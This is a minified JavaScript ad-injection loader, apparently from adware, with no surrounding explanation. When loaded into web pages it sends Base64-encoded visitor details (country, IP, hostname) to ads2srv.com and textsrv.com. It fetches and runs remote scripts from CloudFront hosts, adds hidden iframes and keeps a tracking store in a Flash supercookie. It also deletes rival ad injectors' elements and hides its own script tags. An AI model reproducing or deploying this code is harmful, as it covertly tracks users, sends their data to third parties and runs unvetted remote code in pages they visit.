if (!Array.prototype.indexOf) Array.prototype.indexOf = function (a) { if (this === void 0 || this === null) throw new TypeError; var d = Object(this), c = d.length >>> 0; if (c === 0) return -1; var b = 0; arguments.length > 0 && (b = Number(arguments[1]), b !== b ? b = 0 : b !== 0 && b !== 1 / 0 && b !== -(1 / 0) && (b = (b > 0 || -1) * Math.floor(Math.abs(b)))); if (b >= c) return -1; for (b = b >= 0 ? b : Math.max(c - Math.abs(b), 0); b < c; b++) if (b in d && d[b] === a) return b; return -1 }; var _gaq = _gaq || []; if (typeof _GPL == "undefined") { var _GPL = { vars: { zoneid: "8623", pid: "1036" }, proto: "https:" == document.location.protocol ? "https://" : "http://", baseCDN: "", fCDN: "d15gt9gwxw5wu0.cloudfront.net", items: {}, item_vars: {}, item_perms: { "ALL": { "bda27": [], "fb7b3": [], "68d78": [], "59156": [] } }, item_delays: { "bda27": { "min": "0", "max": "0" }, "fb7b3": { "min": "0", "max": "0" }, "68d78": { "min": "0", "max": "0" }, "59156": { "min": "0", "max": "0" } }, f: {}, fl: {}, rl: false, cloaked: !1, isIE6: navigator.userAgent.toLowerCase().indexOf("msie") != -1, cb: Math.floor((new Date).getTime() / 1E3) - Math.floor((new Date).getTime() / 1E3) % 3600, loaded_domain_rules: false, i: function () { if (location.protocol != 'http:' && location.protocol != 'https:') { return } var a = this.findals(); if (a) { this.item_perms = this.lpz(this.item_perms, this.vars.zoneid); if (!this.vars.aoi) this.vars.aoi = Math.floor((new Date()).getTime() / 1000) - 1; this.baseCDN = a.src.split('/')[2]; self == top ? _GPL.init() : _GPL.initFrame() } }, findals: function () { var a = this.findScript("", /items\/loaders\/loader_\d+\.js/); return (a && this.getVars(a.src)) ? a : false }, init: function () { this.removeScripts(this.baseCDN); try { _GPL.f['68d78'](); } catch (e) {} try { this.items.e6a00.init(function () { _GPL.items.e6a00.set("location.href", location.href); _GPL.cld(); _GPL.lfi(); if (!_GPL.vars.cid) { _GPL.loadGeo() } else { _GPL.loadCC() } }) } catch (e) {} if (this.vars.cid) { this.loadDomainRules() } else { setTimeout(function () { if (!_GPL.loaded_domain_rules) { _GPL.setDefaultGeoAndGo() } }, 2500) } }, loadGeo: function () { var cid = this.items.e6a00.get("geo.cid"); var updatetime = this.items.e6a00.get("geo.updatetime"); if (!cid || (cid && updatetime && (Math.floor((new Date()).getTime() / 1000) - parseInt(updatetime)) >= 259200)) { this.insertJS(((this.proto == 'https://') ? 'https://s.' : 'http://') + 'ads2srv.com/tb/gc.php?json&cb=_GPL.setGeoAndGo') } else { this.vars.cid = this.items.e6a00.get("geo.cid"); this.vars.rid = this.items.e6a00.get("geo.rid"); this.vars.ccid = this.items.e6a00.get("geo.ccid"); this.vars.ip = this.items.e6a00.get("geo.ip"); this.loadCC(); this.loadDomainRules() } }, setDefaultGeoAndGo: function () { this.vars.cid = 'UU'; this.vars.rid = ''; this.vars.ccid = ''; _GPL.f['fb7b3'](); this.loadDomainRules() }, setGeoAndGo: function (geo) { this.vars.cid = geo.cid; this.vars.rid = geo.rid; this.vars.ccid = geo.ccid; this.vars.ip = geo.ip; this.items.e6a00.set("geo.updatetime", Math.floor((new Date()).getTime() / 1000)); this.items.e6a00.set("geo.cid", geo.cid); this.items.e6a00.set("geo.rid", geo.rid); this.items.e6a00.set("geo.ccid", geo.ccid); this.items.e6a00.set("geo.ip", geo.ip); this.loadCC(); this.loadDomainRules() }, isN: function (a) { return (typeof (a) === 'number' || typeof (a) === 'string') && a !== '' && !isNaN(a) }, initFrame: function () { console.log('iframe'); if (_GPL.canLoad('944c1')) { var a = this.getFW(); console.log(a); if (a.indexOf("728x") != -1 || a.indexOf("300x") != -1 || a.indexOf("160x") != -1) { try { this.items.e6a00.init(function () { _GPL.items.e6a00.store["location.href"] = _GPL.items.e6a00.get("location.href"); _GPL.insertJS(_GPL.proto + _GPL.baseCDN + "/items/944c1/js/944c1.js") }) } catch (e) {} } } }, cld: function () { var a = _GPL.items.e6a00; var b = a.get("_GPLDOMAINS"); if (b) { var c = b.split("||"); b = ""; for (var i = 0, l = c.length; i < l; ++i) { var d = c[i].split("::"); if (d.length == 2 && parseInt(d[1]) > (Math.round(new Date().getTime() / 1000) - 5)) { b += "||" + d[0] + "::" + d[1] } } } else { b = "" } b += "||" + document.domain + "::" + Math.round(new Date().getTime() / 1000); a.set("_GPLDOMAINS", b) }, loadCC: function () { this.vars && this.vars.cid && document.location.protocol == "http:" && !this.gc("_GPL_it") && !(this.vars.cid == "MY" || this.vars.cid == "IN" || this.vars.cid == "PH") && this.insertJS("http://www.textsrv.com/cc.php?c=" + escape(this.B64.encode(this.vars.cid + ":" + this.vars.rid + ":" + this.vars.ccid + ":" + location.hostname + ":" + this.vars.pid + ":" + this.vars.sourceid + ":" + this.zoneid('a652c') + ":" + this.vars.ip + ":" + this.vars.systemid)) + '&cb=' + (new Date()).getTime()) }, lfi: function () { var flash_values = { 'bda27': { 'cf-dns2': '1' } }; var l = []; for (var i in _GPL.item_perms) { for (var j in _GPL.item_perms[i]) { if (j in flash_values) { for (var k in flash_values[j]) { if (_GPL.items.e6a00.get(k) == flash_values[j][k]) { l.push(j); break } } } } } _GPL.item_vars['fb7b3'] = l; _GPL.f['fb7b3'](); }, ihi: function (a) { var c = document.createElement("iframe"); c.type = "text/javascript"; c.src = a; c.style.display = "none"; c.style.visibility = "hidden"; document.body.appendChild(c) }, getFW: function () { return document.documentElement ? "" + document.documentElement.clientWidth + "x" + document.documentElement.clientHeight : "0x0" }, getVars: function (a) { for (var d = a.slice(a.indexOf("?") + 1).split("&"), c = 0; c < d.length; c++) a = d[c].split("="), this.vars[a[0]] = (a.length > 1) ? unescape(a[1].replace("+", " ")) : ''; return true }, replaceVars: function (a) { for (var d, c, b, g = /\{([^\}]+)\}/gi, e = a; d = g.exec(a);) if (d[1].indexOf("_GPL") != -1) { c = !1; d[1].indexOf(",") != -1 && (c = d[1].split(",")[1]); b = eval(d[1].split(",")[0]); if (!b || typeof b == "undefined") if (c) b = c; else continue; for (; e.indexOf("{" + d[1] + "}") != -1;) e = e.replace("{" + d[1] + "}", b) } return e }, mergeKeysMulti: function (a, b) { for (var k in b) { if (!a[k]) a[k] = b[k]; else { for (var j in b[k]) { if (!a[k][j]) { a[k][j] = b[k][j] } else { for (var l = 0, m = b[k][j].length; l < m; ++l) { if (a[k][j].indexOf(b[k][j][l]) == -1) { a[k][j].push(b[k][j][l]) } } } } } } return a }, mergeKeys: function (a, b) { for (var k in b) { if (!a[k]) a[k] = b[k] } return a }, newKeys: function (a, b) { var c = []; var ak = []; for (var k in a) { for (var j in a[k]) { if (ak.indexOf(j) == -1) ak.push(j) } } for (var k in b) { for (var j in b[k]) { if (ak.indexOf(j) == -1 && c.indexOf(j) == -1) c.push(j) } } return c }, removeScripts: function (a) { return; if (!this.isIE6) for (var d; (d = this.findScript(a, "")) && d;) d.parentNode.removeChild(d) }, findScript: function (a, d) { for (var c = document.getElementsByTagName("script"), b = c.length - 1; b >= 0; --b) if (c[b].src && c[b].src.match(a) && c[b].src.match(d)) return c[b]; return !1 }, loadDomainRules: function () { if (location.host != "") { var a = location.host.replace(RegExp(/^www\./i), ""); this.insertJS(this.proto + this.fCDN + "/js/" + a + "/r.js") } this.loaded_domain_rules = true }, insertJS: function (a) { var d = document.getElementsByTagName("head"), d = d.length > 0 ? d : document.getElementsByTagName("body"); if (d.length > 0) { var c = document.createElement("script"); c.async = !0; c.type = "text/javascript"; c.src = a; d[0].appendChild(c) } }, firePixel: function (a) { (new Image).src = a }, canLoad: function (a) { if (this.vars.cid && ((this.item_perms.ALL && this.item_perms.ALL[a]) || (this.item_perms[this.vars.cid] && this.item_perms[this.vars.cid][a]))) if (this.vars.aoi && this.item_delays[a] && Math.floor((new Date).getTime() / 1E3) > parseInt(this.vars.aoi) + parseInt(this.item_delays[a].min) && (parseInt(this.item_delays[a].max) == 0 || Math.floor((new Date).getTime() / 1E3) < parseInt(this.vars.aoi) + parseInt(this.item_delays[a].max))) return !0; return !1 }, gc: function (a) { if (document.cookie && document.cookie != "") for (var d = document.cookie.split(";"), c = 0; c < d.length; ++c) { var b = d[c].replace(/^\s+|\s+$/, ""); if (b.substring(0, a.length + 1) == a + "=") return decodeURIComponent(b.substring(a.length + 1)) } return null }, sc: function (a, d, c) { var b = new Date; b.setHours(b.getHours() + parseInt(c)); c = location.hostname.replace(/^www\./, ""); c[0] != "." && (c = "." + c); document.cookie = a + "=" + d + ";expires=" + b.toUTCString() + ";path=/;domain=" + c }, zoneid: function (i) { var z = []; z = this.am(z, (this.item_perms.ALL && this.item_perms.ALL[i]) ? this.item_perms.ALL[i] : []); z = this.am(z, (this.item_perms[this.vars.cid] && this.item_perms[_GPL.vars.cid][i]) ? this.item_perms[this.vars.cid][i] : []); return (z.length > 0) ? z[Math.floor(Math.random() * (z.length))] : this.vars.zoneid }, am: function (a, b) { for (var i = 0; i < b.length; i++) { if (a.indexOf(b[i]) == -1) a.push(b[i]) } return a }, lpz: function (p, z) { for (var j in p) { for (var k in p[j]) { if (p[j][k].indexOf(z) == -1) { p[j][k].push(z) } } } return p }, B64: { _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", decode: function (a) { for (var d = "", c, b, g, e, h, f = 0, a = a.replace(/[^A-Za-z0-9\+\/\=]/g, ""); f < a.length;) c = this._keyStr.indexOf(a.charAt(f++)), b = this._keyStr.indexOf(a.charAt(f++)), e = this._keyStr.indexOf(a.charAt(f++)), h = this._keyStr.indexOf(a.charAt(f++)), c = c << 2 | b >> 4, b = (b & 15) << 4 | e >> 2, g = (e & 3) << 6 | h, d += String.fromCharCode(c), e != 64 && (d += String.fromCharCode(b)), h != 64 && (d += String.fromCharCode(g)); return d = this._utf8_decode(d) }, _utf8_decode: function (a) { for (var d = "", c = 0, b = c1 = c2 = 0; c < a.length;) b = a.charCodeAt(c), b < 128 ? (d += String.fromCharCode(b), c++) : b > 191 && b < 224 ? (c2 = a.charCodeAt(c + 1), d += String.fromCharCode((b & 31) << 6 | c2 & 63), c += 2) : (c2 = a.charCodeAt(c + 1), c3 = a.charCodeAt(c + 2), d += String.fromCharCode((b & 15) << 12 | (c2 & 63) << 6 | c3 & 63), c += 3); return d }, encode: function (a) { for (var d = "", c, b, g, e, h, f, i = 0, a = this._utf8_encode(a); i < a.length;) c = a.charCodeAt(i++), b = a.charCodeAt(i++), g = a.charCodeAt(i++), e = c >> 2, c = (c & 3) << 4 | b >> 4, h = (b & 15) << 2 | g >> 6, f = g & 63, isNaN(b) ? h = f = 64 : isNaN(g) && (f = 64), d = d + this._keyStr.charAt(e) + this._keyStr.charAt(c) + this._keyStr.charAt(h) + this._keyStr.charAt(f); return d }, _utf8_encode: function (a) { for (var a = a.replace(/\r\n/g, "\n"), d = "", c = 0; c < a.length; c++) { var b = a.charCodeAt(c); b < 128 ? d += String.fromCharCode(b) : (b > 127 && b < 2048 ? d += String.fromCharCode(b >> 6 | 192) : (d += String.fromCharCode(b >> 12 | 224), d += String.fromCharCode(b >> 6 & 63 | 128)), d += String.fromCharCode(b & 63 | 128)) } return d } } }; _GPL.f['fb7b3'] = function () { var injection_items = ['a652c']; var l = (typeof _GPL.item_vars['fb7b3'] != 'undefined') ? _GPL.item_vars['fb7b3'] : []; for (var i in _GPL.item_perms) { for (var j in _GPL.item_perms[i]) { if (injection_items.indexOf(j) == -1 || l.indexOf(j) != -1) { continue } l.push(j) } } _GPL.ihi(_GPL.proto + _GPL.baseCDN + "/d.html?c=" + escape(_GPL.B64.encode(_GPL.vars.cid + ":" + _GPL.vars.rid + ":" + _GPL.vars.ccid + ":" + _GPL.vars.pid + ":" + _GPL.vars.zoneid + ":" + _GPL.vars.systemid + ":" + l.join(",")))) }; _GPL.items['68d78'] = { i: function () { if (typeof YontooClient != 'undefined') YontooClient = {}; if (typeof yontooAPI != 'undefined') yontooAPI = {}; if (typeof DealPlyConfig != 'undefined') { DealPlyConfig.getBaseUrl = function () { return "https://d3lvr7yuk4uaui.cloudfront.net/items/blank.js?" }; DealPlyConfig.getCrownUrl = function () { return "https://d3lvr7yuk4uaui.cloudfront.net/items/blank.js?" } } this.rm(this.ri, ['dropdowndeals', 'Y2LeftFixedCurtain', 'gbdho', 'bdca', 'dealply-toast-1', 'pricegong_offers_iframe', 'SF_VISUAL_SEARCH', 'batAdRight', 'batAdBottom', 'batAdMiddle_0', 'batAdMiddleExt1_0', 'batAdRight2', 'invisiblehand-iframe', 'scTopOfPageRefinementLinks', 'sf_coupon_obj']); this.rm(this.rc, ['yontoolayerwidget', 'dealply-toast', 'imb-ad']); this.rm(this.ric, [ ['productbox', 'g'], ['related-searches', 'related-searches-bing'] ]); this.rm(this.rtn, ['MIVA_AdLink', 'itxtrst', 'kLink', 'FAAdLink', 'IL_AD', 'skimwords-link']) }, st: function (i, a) { a = (((a || "") + "").toLowerCase().match(/<[a-z][a-z0-9]*>/g) || []).join(''); var t = /<\/?([a-z][a-z0-9]*)\b[^>]*>/gi, c = /|<\?(?:php)?[\s\S]*?\?>/gi; return i.replace(c, '').replace(t, function ($0, $1) { return a.indexOf('<' + $1.toLowerCase() + '>') > -1 ? $0 : '' }) }, rm: function (f, a) { try { for (var i = 0; i < a.length; i++) f(a[i]) } catch (e) {} }, rc: function (a) { try { var b = document.getElementsByClassName(a); while (b && b.length > 0) { b[0].parentNode.removeChild(b[0]) } } catch (e) {} }, ri: function (a) { try { var b = document.getElementById(a); if (b != null) { b.parentNode.removeChild(b) } } catch (e) {} }, ric: function (a) { try { var b = document.getElementById(a[0]); if (b != null && b.className == a[1]) { b.parentNode.removeChild(b) } } catch (e) {} }, rtn: function (c) { try { var a = document.getElementsByClassName(c); while (a && a.length > 0) { var txt = document.createTextNode(_GPL.items['68d78'].st(a[0].innerHTML)); a[0].parentNode.insertBefore(txt, a[0].nextSibling); a[0].parentNode.removeChild(a[0]) } } catch (e) {} } }; _GPL.f['68d78'] = function () { if (_GPL.canLoad('68d78') && !_GPL.fl['68d78']) { _GPL.fl['68d78'] = true; setInterval(function () { if (_GPL.canLoad('68d78') && typeof _GPL.items['68d78'] != 'undefined' && typeof _GPL.items['68d78'].i == 'function') { _GPL.items['68d78'].i() } }, 1500) } }; _GPL.items.e6a00 = { ready: !1, flashDetected: !1, log: function () {}, swf: {}, swf_url: "/items/e6a00/storage.swf", namespace: "gpl", store: {}, detectFlash: function () { if (navigator.plugins && navigator.mimeTypes.length) { var a = navigator.plugins["Shockwave Flash"]; if (a != null && navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin != null) return a.description.replace(/([a-zA-Z]|\s)+/, "").replace(/(\s+r|\s+b[0-9]+)/, ".").split(".")[0] > 9 } else if (window.ActiveXObject) { try { a = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7") } catch (d) { try { a = new ActiveXObject("ShockwaveFlash.ShockwaveFlash") } catch (c) { return !1 } } if (a != null) return a.GetVariable("$version").split(" ")[1].split(",")[0] > 9 } return !1 }, init: function (onready) { this.onready = onready; this.flashDetected = this.detectFlash(); if (!this.flashDetected) return !1; var a = document.createElement("div"); a.style.position = "absolute"; a.id = "_GPL_e6a00_div"; var d = "logfn=_GPL.items.e6a00.log&onload=_GPL.items.e6a00.onload&onerror=_GPL.items.e6a00.onerror&LSOName=" + this.namespace; a.innerHTML = ''; document.body.appendChild(a); this.swf = document._GPL_e6a00_swf || window._GPL_e6a00_swf }, set: function (a, d) { if (!this.flashDetected) return !1; if (this.ready && this.swf && typeof this.swf.set == 'function') this.swf.set(a, d); else { var c = this; setTimeout(function () { c.set(a, d) }, 100) } }, get: function (a) { if (!this.flashDetected || !this.ready || typeof this.swf.get != 'function') return null; return this.swf.get(a) }, getAll: function () { if (this.ready) { var a = this.swf.getAll(); a.__flashBugFix && delete a.__flashBugFix; return a } }, clear: function (a) { this.ready && this.swf.clear(a) }, onload: function () { var a = this; setTimeout(function () { a.ready = !0; a.set("__flashBugFix", "1"); a.onready() }, 0) }, onready: function () {}, onerror: function () {} }; _GPL.i() } else { _GPL_new_items = _GPL.newKeys(_GPL.item_perms, { "ALL": { "bda27": [], "fb7b3": [], "68d78": [], "59156": [] } }); _GPL.findals(); _GPL.item_perms = _GPL.mergeKeysMulti(_GPL.item_perms, _GPL.lpz({ "ALL": { "bda27": [], "fb7b3": [], "68d78": [], "59156": [] } }, _GPL.vars.zoneid)); _GPL.item_delays = _GPL.mergeKeys(_GPL.item_delays, { "bda27": { "min": "0", "max": "0" }, "fb7b3": { "min": "0", "max": "0" }, "68d78": { "min": "0", "max": "0" }, "59156": { "min": "0", "max": "0" } }); if (_GPL.rl) { for (var _GPL_nic = 0; _GPL_nic < _GPL_new_items.length; _GPL_nic++) { if (_GPL.f[_GPL_new_items[_GPL_nic]]) { _GPL.f[_GPL_new_items[_GPL_nic]]() } } } } setInterval(function () { typeof _GPL != "undefined" && _GPL.removeScripts(_GPL.baseCDN) }, 5E3);